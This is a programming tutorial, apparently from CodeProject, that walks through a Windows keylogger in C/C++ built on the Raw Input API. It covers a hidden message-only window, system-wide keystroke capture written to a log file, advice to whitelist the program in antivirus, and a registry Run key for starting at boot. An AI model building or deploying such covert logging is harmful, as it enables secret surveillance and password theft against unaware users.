Introduction
The WndProc section of the article is primarily aimed at intermediate programmers; however I will attempt to explain the code in a step by step fashion so that raw beginners
should be able to follow it without any problems.
There are numerous reference hyperlinks (mainly Microsoft) included to cross reference the subject matter. All you newbie’s out there, please have a play around with this code
and have fun and learn.
Key loggers are a topical subject, for instance, questions like this arise; are they ethical? Are they legal? Well, this article will not delve into
these issues; I coded this to explore the newish (WinXP minimum) Raw Input Model offered by Microsoft to see how it works.
I hope this article will be the base for further discussion and exploration of the feature-rich WM_INPUT
messaging feature.
The majority of software based key loggers hook keyboard Windows APIs; the Operating System notifies the key logger when a key is pressed and the key logger then records it.
APIs such as GetForegroundWindow
, GetAsyncKeyState
are quite often used to subscribe to keyboard events in the currently focused window.
These types of key loggers can cause problems due to constant polling of each key, they can cause a noticeable increase in CPU usage, and can also miss the occasional key.
The Raw Input Model overcomes these shortcomings.
What Microsoft says
The raw input model is different from the original Windows input model for the keyboard and mouse. In the original input model, an application receives device-independent
input in the form of messages that are sent or posted to its windows, such as WM_CHAR
, WM_MOUSEMOVE
, and WM_APPCOMMAND
. In contrast, for raw input,
an application must register the devices it wants to get data from. Also, the application gets the raw input through the WM_INPUT
message.
There are several advantages to the raw input model:
- An application does not have to detect or open the input device.
- An application gets the data directly from the device, and processes the data for its needs.
- An application can distinguish the source of the input even if it is from the same type of device. For example, two mouse devices.
- An application manages the data traffic by specifying data from a collection of devices or only specific device types.
- HID devices can be used as they become available in the marketplace, without waiting for new message types or an updated OS to have new commands in
WM_APPCOMMAND
.
Background
I came across the Raw Input Model by happenstance whilst browsing CodeProject and read an excellent article by Emma Burrows,
Using Raw Input from C# to handle multiple keyboards and it inspired me to Google 'Raw Input MSDN',
and sure enough Microsoft explains it well here.
My choice of language in this article is based upon my experience. I have coded professionally in .NET, but I personally choose C, C++, or MASM32 (due to my device
driver programming background) when dealing with base Windows APIs. (Old habits die hard), however it may be translated to your preference, Visual Basic or C# for instance.
Using the code
The WinMain, skip this section if you are familiar with the subject
The entry point to a user Windows based application is the WinMain
function.
int WINAPI WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow);
{ ...
The hInstance
parameter is the handle to this application when run.
hPrevInstance
is a handle to a previous instance of this program, it is always NULL
and to keep this code simple,
I have chosen not to detect if a previous instance is already running; however, it certainly would be a good thing to do.
lpCmdLine
is a pointer to a null terminated string command line for the application. We don't use it here, but to see it in action, open a command prompt and type in
explorer /select,c:\windows\. This will open Windows Explorer at the Windows directory.
nCmdShow
controls how the window is to be shown. This value is actually passed from the Operating System. To see this in action, create a shortcut to Notepad on your
Desktop, then right click it to bring up properties and change Run from Normal window to Maximized. With this app, the default
SW_SHOWNORMAL
(1) is passed in.
Creating the invisible message only window, how it's done
The next item to consider is the WNDCLASS
structure, its members set
the window class attributes. The attributes include style, background color, icon, cursor, menu, and window procedure.
Our program here only sets up three essential members as we are creating an invisible window.
wc.hInstance = hInstance; wc.lpszClassName = L"kl"; wc.lpfnWndProc = WndProc;
The RegisterClass
function registers the window class with the WNDCLASS
struct we just populated.
RegisterClass(&wc); hWnd = CreateWindow(wc.lpszClassName,NULL,0,0,0,0,0,HWND_MESSAGE,NULL,hInstance,NULL);
We only pass bare essentials to CreateWindow
namely the class name,
our app handle, and the HWND_MESSAGE
constant to create an invisible Message
Only Window.
The message loop, TranslateMessage not required
In general, Windows programs are essentially message handlers; applications, the OS, and hardware all generate Windows messages that an application listens for and reacts to.
The GetMessage
function dispatches incoming sent messages until a posted message
is available for retrieval. The MSG
struct receives the messages. The message loop code below will only exit on
WM_QUIT
(0), otherwise it translates and dispatches messages continuously.
BOOL bRet;
while((bRet=GetMessage(&msg,hWnd,0,0))!=0){ if(bRet==-1){
return bRet;
}
else{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
TranslateMessage
normally translates virtual key messages into character messages that are retrieved next time through the loop by GetMessage
.
In part of the raw input setup explained below, we suppress the messages that TranslateMessage
normally handles in the loop.
Registering interest in receiving raw data on the WM_CREATE event in WndProc
DispatchMessage
dispatches messages to the window procedure (WndProc
) that we declared in the WINDCLASS
struct initially.
LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam)
{
switch(message){
...
Unlike most window messages which are freely available, a Windows application does not receive the raw input message
WM_INPUT
by default; to receive it, we must first register interest
with the RegisterRawInputDevices
function. The first parameter points to the array of RAWINPUTDEVICE
structs. The second parameter sets the number of structs,
in our case 1. The last parameter is the size of the struct.
On WM_CREATE
, a log file is created and the current time and date
are logged. Interest in receiving keyboard raw input is registered with the RIDEV_INPUTSINK
flag set in the
RAWINPUTDEVICE
struct so that we receive system wide keystrokes
and not just ones received in the focused window, which in our case is invisible anyway.
Also, the RIDEV_NOLEGACY
flag is set so that WM_KEYDOWN
events
and other legacy key events are not generated for the message loop; how and where we get these messages from will become clear in the WM_INPUT
section shortly.
case WM_CREATE:{
..
rid.dwFlags=RIDEV_NOLEGACY|RIDEV_INPUTSINK;
rid.usUsagePage=1;
rid.usUsage=6;
rid.hwndTarget=hWnd;
RegisterRawInputDevices(&rid,1,sizeof(rid));
break;
}
RAWINPUTDEVICE usUsagePage and usUsage
usUsagePage
is a value for the type of device (this is a partial list below). We use 1 here as that stands for 'generic desktop controls' and covers all the usual input devices.
The usUsage
value specifies the device within the 'generic desktop controls' group.
- 1 - generic desktop controls // we use this
- 2 - simulation controls
- 3 - vr
- 4 - sport
- 5 - game
- 6 - generic device
- 7 - keyboard
- 8 - LEDs
- 9 - button
usUsage
values when usUsagePage
is 1:
- 0 - undefined
- 1 - pointer
- 2 - mouse
- 3 - reserved
- 4 - joystick
- 5 - game pad
- 6 - keyboard // we use this
- 7 - keypad
- 8 - multi-axis controller
- 9 - Tablet PC controls
WM_INPUT
Upon receipt of WM_INPUT
messages, we call GetRawInputData
. Notice that we call it twice, once to determine how big the buffer should be,
and once again to utilize the buffer.
case WM_INPUT:{
if(GetRawInputData((HRAWINPUT)lParam,
RID_INPUT,NULL,&dwSize,sizeof(RAWINPUTHEADER))==-1){
break;
}
LPBYTE lpb=new BYTE[dwSize];
if(lpb==NULL){
break;
}
if(GetRawInputData((HRAWINPUT)lParam,
RID_INPUT,lpb,&dwSize,sizeof(RAWINPUTHEADER))!=dwSize){
delete[] lpb;
break;
}
To explain this more fully, the GetRawInputData
first parameter is a handle
to the RAWINPUT
structure from the device, whose members are, due to usUsagePage=1
and usUsage=6
(keyboard):
keyboard.MakeCode
keyboard.Flags
keyboard.Reserved
keyboard.ExtraInformation
keyboard.Message
keyboard.VKey
This RAWINPUT
handle is provided for us in the WndProc
lParam
of the WM_INPUT
message. The second parameter we set to
RID_INPUT
to get the devices raw data, it may also be set to RID_HEADER
to get the data header information; however, we do not use it here.
The third parameter is a void pointer to the buffer to be used. The fourth parameter is the address of a variable that receives the required size of the buffer.
The final parameter is the size of the RAWINPUTHEADER
struct.
On the first call, we set the third parameter to NULL
as we are only interested in obtaining the size of the buffer that we need to create. On the next call,
we set it to point to the newly created buffer itself.
WM_KEYDOWN
Next we obtain the virtual key code from keyboard.VKey
and translate it into a character, then we filter keyboard.Message
for the WM_KEYDOWN
message
so that we do not double up on logged keystrokes. Note, all messages are retrieved from keyboard.Message
.
PRAWINPUT raw=(PRAWINPUT)lpb;
UINT Event;
StringCchPrintf(szOutput,
STRSAFE_MAX_CCH,TEXT(" Kbd: make=%04x Flags:%04x " +
"Reserved:%04x ExtraInformation:%08x, msg=%04x VK=%04x \n"),
raw->data.keyboard.MakeCode,
raw->data.keyboard.Flags,
raw->data.keyboard.Reserved,
raw->data.keyboard.ExtraInformation,
raw->data.keyboard.Message,
raw->data.keyboard.VKey);
Event=raw->data.keyboard.Message;
keyChar=MapVirtualKey(raw->data.keyboard.VKey,MAPVK_VK_TO_CHAR);
delete[] lpb;
if(Event==WM_KEYDOWN){
...
Log to file
Finally we do a rudimentary filter for backspace, tab, and carriage return, and ignore all else below 'space' and above '~' just so that the log file reflects what was actually
keyed in (from Notepad for instance).
if(keyChar<32){
if((keyChar!=8)&&(keyChar!=9)&&(keyChar!=13)){
break; } }
if(keyChar>126){ break;
}
hFile=CreateFile(fName,
GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
if(hFile==INVALID_HANDLE_VALUE){
break;
}
if(keyChar==8){ SetFilePointer(hFile,-1,NULL,FILE_END);
keyChar=0;
WriteFile(hFile,&keyChar,1,&fWritten,0);
CloseHandle(hFile);
break;
}
SetFilePointer(hFile,0,NULL,FILE_END);
if(keyChar==13){ WriteFile(hFile,"\r\n",2,&fWritten,0);
CloseHandle(hFile);
break;
}
WriteFile(hFile,&keyChar,1,&fWritten,0); CloseHandle(hFile);
How to test
LPCWSTR fName=L"c:/kl.log";
Build and run kl.exe, then open Notepad and type in some stuff, then open kl.log to see the result.
Notes
All logged entries in the log file are upper case, no apologies for this, please find out how this can be resolved. This code is a starting point for your research,
please enjoy, and get back to me with your suggestions or questions.
Points of interest
I am running Bit Defender Antivirus Plus 2012 on my Win 7 development computer and to its credit, it picked up this code as being suspect and I had to permit it as an exception to run.
If you have similar issues with your anti virus program, allow it also.
If you wish to auto start this program on boot, create this Registry key 'kl' (at your own risk I might add). Don't do it if you are not experienced with Registry edits.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kl
Modify the kl key to C:\kl.exe (or your drive letter if not C:).
Then copy kl.exe to your root directory.
History
This is my first article on CodeProject, I hope you like it.
P.S.: If you are capable with MASM32, try it too.